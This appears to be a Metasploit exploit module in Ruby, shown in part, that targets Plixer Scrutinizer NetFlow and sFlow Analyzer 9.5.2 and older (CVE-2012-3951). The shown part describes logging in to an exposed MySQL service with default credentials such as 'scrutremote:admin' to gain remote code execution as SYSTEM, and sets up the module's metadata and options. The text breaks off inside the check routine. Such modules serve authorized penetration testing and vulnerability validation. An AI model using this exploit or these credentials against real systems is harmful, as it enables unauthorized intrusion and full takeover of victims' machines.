## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential", 'Description' => %q{ This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer. By default, the software installs a default password in MySQL, and binds the service to "0.0.0.0". This allows any remote user to login to MySQL, and then gain arbitrary remote code execution under the context of 'SYSTEM'. Examples of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC', 'Jonathan Claudius', 'Tanya Secker', 'sinn3r' ], 'References' => [ ['CVE', '2012-3951'], ['OSVDB', '84317'], ['URL', 'http://secunia.com/advisories/50074/'], ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ ['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jul 27 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new("USERNAME", [true, 'The default MySQL username', 'scrutremote']), OptString.new("PASSWORD", [true, 'The default MySQL password', 'admin']), OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]), OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]), OptString.new("TARGETURI", [true, 'The web application\'s base path', '/']) ], self.class) # Both MySQL and HTTP need to use this, we'll have to register on the fly. deregister_options('RPORT') end def check tmp_rport = datastore['RPORT'] datastore['RPORT'] = datastore['HTTPPORT'] res = send_request_raw({'uri'=>'/'}) #Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\